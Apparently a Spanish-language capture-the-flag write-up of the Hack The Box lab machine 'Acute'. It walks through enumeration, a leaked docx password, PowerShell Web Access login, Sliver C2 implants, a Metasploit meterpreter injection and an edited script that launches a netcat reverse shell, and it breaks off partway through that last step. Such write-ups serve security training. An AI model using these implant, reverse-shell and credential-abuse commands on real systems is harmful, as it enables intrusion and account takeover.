Hack The Box: Acute Writeup | Hard

Table of Contents

Hack The Box: Acute Writeup

Welcome to my detailed writeup of the hard difficulty machine “Acute” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.136.40 --ulimit 5000 -g
210.129.136.40 -> [443]
 1$ nmap -p443 -sCV 10.129.136.40 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 20:39 CEST
 3Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
 4Service scan Timing: About 0.00% done
 5Nmap scan report for 10.129.136.40
 6Host is up (0.048s latency).
 7
 8PORT    STATE SERVICE  VERSION
 9443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10|_http-title: Not Found
11| ssl-cert: Subject: commonName=atsserver.acute.local
12| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
13| Not valid before: 2022-01-06T06:34:58
14|_Not valid after:  2030-01-04T06:34:58
15| tls-alpn: 
16|_  http/1.1
17|_ssl-date: 2024-09-06T16:39:36+00:00; -2h00m01s from scanner time.
18|_http-server-header: Microsoft-HTTPAPI/2.0
19Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
20
21Host script results:
22|_clock-skew: -2h00m01s
23
24Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
25Nmap done: 1 IP address (1 host up) scanned in 20.12 seconds

UDP Enumeration

1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.136.40 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 20:39 CEST
3Nmap scan report for 10.129.136.40
4Host is up.
5All 1500 scanned ports on 10.129.136.40 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds

Me llama la atención que solo esté abierto externamente el puerto 443.

Del escaneo inicial vemos el dominio acute.local y el subdominio atsserver.acute.local que mas bien, será el CN del servidor. Lo añadimos al /etc/hosts

HTTPS Enumeration

Vamos primero a analizar el certificado SSL.

1$ openssl s_client -showcerts -connect 10.129.136.40:443

Descubrimos el nombre de la CA (Certification Authority) acute-ATSSERVER-CA, lo vamos a añadir igual al /etc/hosts

1$ whatweb https://acute.local
2https://acute.local [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.129.136.40], Microsoft-HTTPAPI[2.0], Title[Not Found]
1$ whatweb https://atsserver.acute.local
2https://atsserver.acute.local [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.136.40], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]

Con whatweb vemos respuestas distintas para el dominio principal y el subdominio atsserver, por lo cual me indica que se debe de estar utilizando virtual hosting por detrás.

atsserver.acute.local

Write-up Image Esta es la pinta del sitio web.

En el recurso /about.html encontramos un listado con miembros del equipo.

Acute Health work with healthcare providers, councils and NHS units in the UK, training over 10,000 nurses, managers and healthcare workers every year. Some of our more established team members have been included for multiple awards, these members include Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins. Each of whom have come away with special accolades from the Healthcare community.

Siempre está bien tener un listado de usuarios, así que vamos a utilizar la típica combinación de primera letra + apellido para crear una lista de usuarios.

 1$ cat users.txt 
 2a.wallace
 3c.hall
 4e.davies
 5i.monks
 6j.morgan
 7l.hopkins
 8awallace
 9chall
10edavies
11imonks
12jmorgan
13lhopkins

En la barra de navegación encontramos este hipervínculo que nos lleva a un documento word. Write-up Image

Information Disclosure

Nos lo descargamos.

 1$ wget https://atsserver.acute.local/New_Starter_CheckList_v7.docx --no-check-certificate
 2--2024-09-06 20:51:05--  https://atsserver.acute.local/New_Starter_CheckList_v7.docx
 3Resolving atsserver.acute.local (atsserver.acute.local)... 10.129.136.40
 4Connecting to atsserver.acute.local (atsserver.acute.local)|10.129.136.40|:443... connected.
 5WARNING: The certificate of ‘atsserver.acute.local’ is not trusted.
 6WARNING: The certificate of ‘atsserver.acute.local’ doesn't have a known issuer.
 7HTTP request sent, awaiting response... 200 OK
 8Length: 34566 (34K) [application/vnd.openxmlformats-officedocument.wordprocessingml.document]
 9Saving to: ‘New_Starter_CheckList_v7.docx’
10
11New_Starter_CheckList_v7.docx        100%[====================================================================>]  33,76K  --.-KB/s    in 0s      
12
132024-09-06 20:51:05 (81,9 MB/s) - ‘New_Starter_CheckList_v7.docx’ saved [34566/34566]

Revisando los metadatos del archivo encontramos lo siguiente.

1$ exiftool New_Starter_CheckList_v7.docx
2Creator                         : FCastle
3escription                     : Created on Acute-PC01
4Last Modified By                : Daniel

Encontramos dos nuevos usuarios, fcastle y daniel

Además encontramos el nombre de un equipo, Acute-PC01

Revisando el documento encontramos una credencial, por la cara.. Password1! Write-up Image

También encontramos un hipervínculo a https://atsserver.acute.local/Acute_Staff_Access/ Write-up Image

Nos lleva a un inicio de sesión de PSWA Powershell Web Access.

Permite a los profesionales de TI ejecutar comandos y scripts de Windows PowerShell desde una consola de Windows PowerShell en un navegador web , sin necesidad de instalar Windows PowerShell, software de administración remota o complementos de navegador en el dispositivo cliente. Write-up Image

Probando a iniciar sesión al equipo Acute-PC01 con la contraseña encontrada y con los usuarios encontrados, podemos iniciar sesión con el usuario edavies Write-up Image

Write-up Image

Nos vamos a descargar netcat en la máquina víctima para enviarnos una consola interactiva para trabajar mas cómodamente.

Write-up Image

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.136.40] 49862
4Microsoft Windows [Version 10.0.19044.1466]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Users\edavies\desktop>

El problema es que esta sesión es cerrada cada x segundos, por lo cual me tengo que buscar otra opción.

Me voy a poner un poco “fancy” y vamos a utilizar Sliver, un C2 Framework muy utilizando en pentesting y ejercicios de red-teaming.

Si no sabéis nada sobre Sliver, os recomiendo aprender al menos lo básico ya que puede resultar muy útil en algunos momentos.

Vamos a generar un nuevo beacon para realizar la infección inicial y luego migraremos a una sesión.

Vamos a generar un HTTP Beacon así que primero nos ponemos en escucha por el puerto 80.

1[server] sliver > http
2
3[*] Starting HTTP :80 listener ...
4[*] Successfully started job #1

Ahora generamos el Beacon

1[server] sliver > generate beacon --http 10.10.14.125 
2
3[*] Generating new windows/amd64 beacon implant binary (1m0s)
4[*] Symbol obfuscation is enabled
5[*] Build completed in 28s
6[*] Implant saved to /home/pointedsec/Desktop/acute/content/REMAINING_CLEAVAGE.exe

Nos servimos como antes este ejecutable por el puerto 8081. Y al intentar ejecutarlo vemos lo siguiente.

 1PS C:\Users\edavies\desktop> 
 2
 3iwr http://10.10.14.125:8081/REMAINING_CLEAVAGE.exe -o REMAINING_CLEAVAGE.exe
 4
 5PS C:\Users\edavies\desktop> 
 6
 7.\REMAINING_CLEAVAGE.exe
 8
 9Program 'REMAINING_CLEAVAGE.exe' failed to run: Operation did not complete successfully because the file contains a virus
10
11 or potentially unwanted software.
12
13    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException 
14
15    + FullyQualifiedErrorId : NativeCommandFailed 

Parece que el Defender está detectando el implante de Sliver. Hay varias formas de bypassear esto pero no nos va a hacer falta porque me di cuenta de un directorio no habitual, C:\Utils

 1PS C:\> 
 2
 3dir
 4
 5 
 6
 7 
 8
 9    Directory: C:\
10
11 
12
13 
14
15Mode                 LastWriteTime         Length Name                                                                 
16
17----                 -------------         ------ ----                                                                 
18
19d-----         12/7/2019   9:14 AM                PerfLogs                                                             
20
21d-r---         12/6/2021  11:06 AM                Program Files                                                        
22
23d-r---         12/7/2021  12:43 PM                Program Files (x86)                                                  
24
25d-r---        12/21/2021  10:50 PM                Users                                                                
26
27d-----         1/31/2022  12:29 AM                Utils                                                                
28
29d-----        12/16/2021   1:23 AM                Windows                                                              

El directorio contenía un fichero desktop.ini oculto el cual tenía la siguiente descripción.

 1PS C:\Utils> 
 2
 3dir
 4
 5PS C:\Utils> 
 6
 7dir -force
 8
 9 
10
11 
12
13    Directory: C:\Utils
14
15 
16
17 
18
19Mode                 LastWriteTime         Length Name                                                                 
20
21----                 -------------         ------ ----                                                                 
22
23-a-h--        12/21/2021   6:41 PM            148 desktop.ini                                                          
24
25 
26
27 
28
29PS C:\Utils> 
30
31type desktop.ini
32
33[.ShellClassInfo]
34
35InfoTip=Directory for Testing Files without Defender
36
37PS C:\Utils> 

Muy CTF todo, pero vamos a descargar aquí el ejecutable.

Por alguna razón no conseguía la conexión en Sliver, así que probé a generar otro implante pero esta vez para que la conexión se realice a través de mtls

1[server] sliver > generate --mtls 10.10.14.125 --os windows --arch amd64 --format exe
2
3[*] Generating new windows/amd64 implant binary
4[*] Symbol obfuscation is enabled
5[*] Build completed in 29s
6[*] Implant saved to /home/pointedsec/Desktop/acute/content/TOUGH_PERIPHERAL.exe

Nos ponemos en escucha.

 1[server] sliver > mtls
 2
 3[*] Starting mTLS listener ...
 4
 5[*] Successfully started job #1
 6
 7[server] sliver > jobs
 8
 9 ID   Name   Protocol   Port   Stage Profile 
10==== ====== ========== ====== ===============
11 1    mtls   tcp        8888                 

Y ahora sí que conseguimos una sesión.

1[server] sliver > sessions
2
3 ID         Transport   Remote Address        Hostname     Username        Operating System   Health  
4========== =========== ===================== ============ =============== ================== =========
5 7200a7d4   mtls        10.129.136.40:49890   Acute-PC01   ACUTE\edavies   windows/amd64      [ALIVE] 

Sabiendo que ahora si que podemos comunicarnos, vamos a crear un beacon a través de mtls.

1[server] sliver > generate beacon --mtls 10.10.14.125 --os windows --arch amd64 --format exe --seconds 5 --jitter 3
2
3[*] Generating new windows/amd64 beacon implant binary (5s)
4[*] Symbol obfuscation is enabled
5[*] Build completed in 29s
6[*] Implant saved to /home/pointedsec/Desktop/acute/content/DEVELOPING_BELL.exe

Y vemos que lo tenemos.

1[server] sliver > beacons
2
3 ID         Name              Transport   Hostname     Username        Operating System   Last Check-In   Next Check-In 
4========== ================= =========== ============ =============== ================== =============== ===============
5 17f341b1   DEVELOPING_BELL   mtls        Acute-PC01   ACUTE\edavies   windows/amd64      4s              2s            

Ahora con use podemos interactuar con el beacon.

 1[server] sliver (DEVELOPING_BELL) > ifconfig
 2
 3[*] Tasked beacon DEVELOPING_BELL (2fb97711)
 4
 5[+] DEVELOPING_BELL completed task 2fb97711
 6
 7+-----------------------------------------+
 8| Ethernet 2                              |
 9+-----------------------------------------+
10|  # | IP Addresses   | MAC Address       |
11+----+----------------+-------------------+
12| 14 | 172.16.22.2/24 | 00:15:5d:e8:0a:01 |
13+-----------------------------------------+
141 adapters not shown.

Vemos que no estamos en el DC, obviamente.

Ahora que ya tenemos nuestro beacon establecido, vamos a crear una sesión para ganar una consola interactiva.

Simplemente ejecutamos interactive y automáticamente se generará una sesión si todo sale bien.

 1[server] sliver (DEVELOPING_BELL) > interactive
 2
 3[*] Using beacon's active C2 endpoint: mtls://10.10.14.125:8888
 4[*] Tasked beacon DEVELOPING_BELL (6e4a8415)
 5
 6[*] Session 9245de33 DEVELOPING_BELL - 10.129.136.40:49846 (Acute-PC01) - windows/amd64 - Fri, 06 Sep 2024 22:27:11 CEST
 7
 8[server] sliver (DEVELOPING_BELL) > sessions
 9
10 ID         Transport   Remote Address        Hostname     Username        Operating System   Health  
11========== =========== ===================== ============ =============== ================== =========
12 9245de33   mtls        10.129.136.40:49846   Acute-PC01   ACUTE\edavies   windows/amd64      [ALIVE] 

Y así conseguimos una consola interactiva.

 1[server] sliver (DEVELOPING_BELL) > use 9245de33
 2
 3[*] Active session DEVELOPING_BELL (9245de33-b907-4773-b485-2eec5d075b77)
 4
 5[server] sliver (DEVELOPING_BELL) > shell
 6
 7? This action is bad OPSEC, are you an adult? Yes
 8
 9[*] Wait approximately 10 seconds after exit, and press <enter> to continue
10[*] Opening shell tunnel (EOF to exit) ...
11
12[*] Started remote shell with pid 3176
13
14PS C:\> whoami
15whoami
16acute\edavies

Nos vamos a subir el winpeas para echar un vistazo.

1[server] sliver (DEVELOPING_BELL) > upload winpeas.exe C:\Utils\\winpeas.exe
2
3[*] Wrote file to C:\Utils\winpeas.exe

Al lanzarlo encontramos lo siguiente, parece que el edavies verdadero tiene una sesión abierta a través de RDP. Write-up Image

Podemos intentar a hacer capturas de pantalla pero por alguna razón el archivo pesa 0 Bytes.

1[server] sliver (DEVELOPING_BELL) > screenshot
2
3[*] Screenshot written to /tmp/screenshot_Acute-PC01_20240906223745_3502346932.png (0 B)
4
5[server] sliver (DEVELOPING_BELL) > screenshot
6
7[*] Screenshot written to /tmp/screenshot_Acute-PC01_20240906223748_264897519.png (0 B)

Vamos a utilizar momentáneamente metasploit para ver si podemos conseguir capturas de pantalla de esta forma.

Abrimos la consola de metasploit

1$ msfconsole

Hacemos el típico proceso para ponernos en escucha…

1[msf](Jobs:0 Agents:0) >> use multi/handler
2[*] Using configured payload generic/shell_reverse_tcp

Nos ponemos en escucha por el puerto 9091

1[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/meterpreter/reverse_tcp
2payload => windows/meterpreter/reverse_tcp
3[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST tun0
4LHOST => tun0
5[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 9091
6LPORT => 9091
7[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
8
9[*] Started reverse TCP handler on 10.10.14.125:9091 

Sliver tiene una funcionalidad para ejecutar un payload de metasploit en el proceso actual donde tenemos la sesión en este caso.

1server] sliver (DEVELOPING_BELL) > msf --payload meterpreter_reverse_tcp -L 10.10.14.125 -l 9091
2
3[!] Empty response from msf payload injection task

Y ya tenemos la sesión en metasploit.

 1[*] Sending stage (175686 bytes) to 10.129.136.40
 2[*] Meterpreter session 1 opened (10.10.14.125:9091 -> 10.129.136.40:49868) at 2024-09-06 22:43:11 +0200
 3
 4(Meterpreter 1)(C:\) > dir
 5Listing: C:\
 6============
 7
 8Mode              Size    Type  Last modified              Name
 9----              ----    ----  -------------              ----
10040777/rwxrwxrwx  4096    dir   2021-12-21 20:15:27 +0100  $Recycle.Bin
11040777/rwxrwxrwx  0       dir   2022-01-12 18:17:45 +0100  $WinREAgent
12100666/rw-rw-rw-  1       fil   2019-12-07 10:08:58 +0100  BOOTNXT
13040777/rwxrwxrwx  0       dir   2021-11-18 23:55:36 +0100  Documents and Settings
14000000/---------  0       fif   1970-01-01 01:00:00 +0100  DumpStack.log.tmp
15040777/rwxrwxrwx  0       dir   2019-12-07 10:14:52 +0100  PerfLogs
16040555/r-xr-xr-x  4096    dir   2021-12-06 12:06:33 +0100  Program Files
17040555/r-xr-xr-x  4096    dir   2021-12-07 13:43:39 +0100  Program Files (x86)
18040777/rwxrwxrwx  4096    dir   2024-09-06 20:32:22 +0200  ProgramData
19040777/rwxrwxrwx  0       dir   2021-11-18 23:55:55 +0100  Recovery
20040777/rwxrwxrwx  4096    dir   2021-12-21 19:31:14 +0100  System Volume Information
21040555/r-xr-xr-x  4096    dir   2021-12-21 23:50:06 +0100  Users
22040777/rwxrwxrwx  4096    dir   2024-09-06 20:33:19 +0200  Utils
23040777/rwxrwxrwx  16384   dir   2021-12-16 02:23:03 +0100  Windows
24100444/r--r--r--  413738  fil   2019-12-07 10:08:58 +0100  bootmgr
25000000/---------  0       fif   1970-01-01 01:00:00 +0100  pagefile.sys
26000000/---------  0       fif   1970-01-01 01:00:00 +0100  swapfile.sys

Vamos a probar a hacer una captura de pantalla.

1(Meterpreter 1)(C:\) > screenshot
2Screenshot saved to: /home/pointedsec/Desktop/QOZjLPyJ.jpeg

Y vemos que esta no tiene un peso de 0 Bytes.

1$ ls -la QOZjLPyJ.jpeg 
2-rw-r--r-- 1 pointedsec pointedsec 65493 sep  6 22:43 QOZjLPyJ.jpeg

Vemos que el usuario estaba escribiendo algo en una powershell. Write-up Image

Como es un CTF obviamente existe una tarea por detrás que se ejecuta cada X tiempo. Esta tarea se ejecuta cada minuto, así que si esperamos un minuto y vamos sacando capturas encontramos lo siguiente. Write-up Image

Está creando un objeto de contraseña segura con la credencial W3_4R3_th3_f0rce. para el usuario imonks para la máquina atsserver

Podemos hacer lo mismo que estaba haciendo este usuario y conseguimos ejecución de comandos en la máquina atsserver

Pero estableciendo como ConfigurationName el nombre la configuración que hemos encontrado antes en el documento word, dc_manage

Write-up Image

Y conseguimos ejecución de comandos.

1PS C:\> $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
2$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
3PS C:\> $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
4$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
5PS C:\> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {whoami}
6Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {whoami}
7acute\imonks
8PS C:\> 

Podemos predecir la ruta de la flag ya que es común que esté en el escritorio en las máquina en HackTheBox y podemos leer la flag de usuario correctamente.

1S C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\users\imonks\desktop\user
2.txt}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\users\imonks\desktop\user.txt}
4dd7becc036f7e247...

User Pivoting

Me gustaría saber que comandos puedo ejecutar, ya que no tengo acceso a comandos básicos como dir

Podemos ejecutar un Get-Command para ver que comandos podemos ejecutar.

 1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Command}
 2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Command}
 3
 4CommandType     Name                                               Version    Source     PSComputer
 5                                                                                         Name      
 6-----------     ----                                               -------    ------     ----------
 7Cmdlet          Get-Alias                                          3.1.0.0    Microso... atsserver 
 8Cmdlet          Get-ChildItem                                      3.1.0.0    Microso... atsserver 
 9Cmdlet          Get-Command                                        3.0.0.0    Microso... atsserver 
10Cmdlet          Get-Content                                        3.1.0.0    Microso... atsserver 
11Cmdlet          Get-Location                                       3.1.0.0    Microso... atsserver 
12Cmdlet          Set-Content                                        3.1.0.0    Microso... atsserver 
13Cmdlet          Set-Location                                       3.1.0.0    Microso... atsserver 
14Cmdlet          Write-Output                                       3.1.0.0    Microso... atsserver 

También puedes especificar otros tipos de comando:

 1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Alias}  
 2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {Get-Alias}
 3
 4CommandType     Name                                               Version    Source     PSComputer
 5                                                                                         Name      
 6-----------     ----                                               -------    ------     ----------
 7Alias           cat -> Get-Content                                                       atsserver 
 8Alias           cd -> Set-Location                                                       atsserver 
 9Alias           echo -> Write-Output                                                     atsserver 
10Alias           ls -> Get-ChildItem                                                      atsserver 
11Alias           pwd -> Get-Location                                                      atsserver 
12Alias           sc -> Set-Content                                                        atsserver 
13Alias           type -> Get-Content                                                      atsserver 

No podemos usar dir pero según el alias podemos utilizar ls para listar el contenido.

Y efectivamente funciona.

 1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls C:\}   
 2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls C:\}
 3
 4
 5    Directory: C:\
 6
 7
 8Mode                 LastWriteTime         Length Name                     PSComputerName          
 9----                 -------------         ------ ----                     --------------          
10d-----        20/12/2021     23:30                inetpub                  atsserver               
11d-----        05/08/2021     20:29                PerfLogs                 atsserver               
12d-r---        21/12/2021     14:55                Program Files            atsserver               
13d-----        15/09/2018     08:21                Program Files (x86)      atsserver               
14d-r---        22/12/2021     00:11                Users                    atsserver               
15d-----        29/01/2022     00:16                Windows                  atsserver 

Listando el directorio Program Files vemos un programa llamado keepmeon Write-up Image

No encuentro nada sobre este programa así que quizás es un binario personalizado. Write-up Image

Aunque no tenemos acceso para listar el contenido.

1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Program Files\keepmeon"}
3Access to the path 'C:\Program Files\keepmeon' is denied.
4    + CategoryInfo          : PermissionDenied: (C:\Program Files\keepmeon:String) [Get-ChildItem] 
5   , UnauthorizedAccessException
6    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildIte 
7   mCommand
8    + PSComputerName        : atsserver

Enumerando los ficheros de este usuario encontramos que a parte de la flag de usuario, en el escritorio, encontramos un fichero wm.ps1

 1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Users\imonks\Desktop"}
 2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls "C:\Users\imonks\Desktop"}
 3
 4
 5    Directory: C:\Users\imonks\Desktop
 6
 7
 8Mode                 LastWriteTime         Length Name                     PSComputerName          
 9----                 -------------         ------ ----                     --------------          
10-ar---        06/09/2024     17:37             34 user.txt                 atsserver               
11-a----        11/01/2022     18:04            602 wm.ps1                   atsserver               

Al ver el contenido nos encontramos con una sorpresa.

1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type "C:\Users\imonks\Desktop\wm.
2ps1"}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type "C:\Users\imonks\Desktop\wm.ps1"}
4$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
5$passwd = $securepasswd | ConvertTo-SecureString
6$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
7Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

Una credencial para el usuario jmorgan en el equipo Acute-PC01

Al intentar convertir la contraseña nos encontramos el siguiente error.

 1PS C:\uTILS> $passwd = $securepasswd | ConvertTo-SecureString
 2$passwd = $securepasswd | ConvertTo-SecureString
 3ConvertTo-SecureString : Key not valid for use in specified state.
 4At line:1 char:27
 5+ $passwd = $securepasswd | ConvertTo-SecureString
 6+                           ~~~~~~~~~~~~~~~~~~~~~~
 7    + CategoryInfo          : InvalidArgument: (:) [ConvertTo-SecureString], CryptographicExceptio 
 8   n
 9    + FullyQualifiedErrorId : ImportSecureString_InvalidArgument_CryptographicError,Microsoft.Powe 
10   rShell.Commands.ConvertToSecureStringCommand

Una búsqueda en StackOverFlow nos revela lo siguiente.

You have to create the password string on the same computer and with the same login that you will use to run it.

y

ConvertFrom-SecureString takes a Key ( and SecureKey) parameter. You can specify the key to save the encrypted standard string and then use the key again in ConvertTo-SecureString to get back the secure string, irrespective of the user account.

Puede significar que la “key” con la que encripta la contraseña esté almacenada en algún sitio pero en el equipo Acute-PC01 y no en el atsserver que es donde estamos ejecutando los comandos.

Nos confirma esta teoría el que podemos ejecutar el script y funciona.

 1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks23:40:17 [68/4883]
 2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}               
 3                                                                                                                                                  
 4                                                                                                                                                  
 5PSComputerName       : atsserver                                                                                                                  
 6RunspaceId           : 52a86278-f5e0-478a-bad6-558bbd42b23f                                                                                       
 7ObjectId             : {1}\\ACUTE-PC01\root/Microsoft/Windows/Storage/Providers_v2\WSP_Volume.Objec                                               
 8                       tId="{8ccfebca-48c0-11ec-9ffe-806e6f6e6963}:VO:\\?\Volume{0eed1261-0000-0000                                               
 9                       -0000-100000000000}\"                                                                                                      
10PassThroughClass     :                                                                                                                            
11PassThroughIds       :                                                                                                                            
12PassThroughNamespace :                                                                                                                            
13PassThroughServer    :                                                                                                                            
14UniqueId             : \\?\Volume{0eed1261-0000-0000-0000-100000000000}\                                                                          
15AllocationUnitSize   : 4096
16DedupMode            : 4
17DriveLetter          : 
18DriveType            : 3
19FileSystem           : NTFS
20FileSystemLabel      : System Reserved
21FileSystemType       : 14
22HealthStatus         : 0
23OperationalStatus    : {2}
24Path                 : \\?\Volume{0eed1261-0000-0000-0000-100000000000}\
25Size                 : 52424704
26SizeRemaining        : 20611072
27
28PSComputerName       : atsserver
29RunspaceId           : 52a86278-f5e0-478a-bad6-558bbd42b23f
30ObjectId             : {1}\\ACUTE-PC01\root/Microsoft/Windows/Storage/Providers_v2\WSP_Volume.Objec
31                       tId="{8ccfebca-48c0-11ec-9ffe-806e6f6e6963}:VO:\\?\Volume{0eed1261-0000-0000
32....                       

Como tenemos permisos para utilizar sc y cambiar el contenido del script, podemos simplemente modificar el script y así conseguirá la clave de la máquina Acute-PC01 y ejecutar el comando que queramos.

1Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {sc C:\Users\imonks\Desktop\wm.ps1 -Value "`$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';`$passwd = `$securepasswd | ConvertTo-SecureString;`$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',`$passwd);Invoke-Command -ScriptBlock {whoami} -ComputerName Acute-PC01 -Credential `$creds"}

Ahora podemos comprobar que el script se ha modificado.

1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.p
2s1}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.ps1}
4$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';$passwd = $securepasswd | ConvertTo-SecureString;$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',$passwd);Invoke-Command -ScriptBlock {whoami} -ComputerName Acute-PC01 -Credential $creds

Podemos ver que donde antes se ejecutaba un Get-Volume ahora se ejecutará un whoami

1PS C:\uTILS> Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}
2Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1}
3acute\jmorgan

Y conseguimos ejecutar comandos como jmorgan, ahora vamos a mandarnos una reverse shell.

Lo bueno es que la sesión de Sliver la tenemos en Acute-PC01, así que simplemente podemos modificar el script para mandarnos una reverse shell con netcat como el usuario jmorgan

Como netcat no es considerado un programa peligroso por defecto en Windows, podemos dejarlo en C:\ProgramData

Modificamos el script.

1Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {sc C:\Users\imonks\Desktop\wm.ps1 -Value "`$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';`$passwd = `$securepasswd | ConvertTo-SecureString;`$creds = New-Object System.Management.Automation.PSCredential ('acute\jmorgan',`$passwd);Invoke-Command -ScriptBlock {C:\ProgramData\nc.exe 10.10.14.125 443 -e cmd.exe} -ComputerName Acute-PC01 -Credential `$creds"}

Ahora podemos comprobar que se ha modificado.

1Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.p
2s1}
3Invoke-Command -computername atsserver -ConfigurationName dc_manage -credential $cred -ScriptBlock {type C:\Users\imonks\Desktop\wm.ps1}
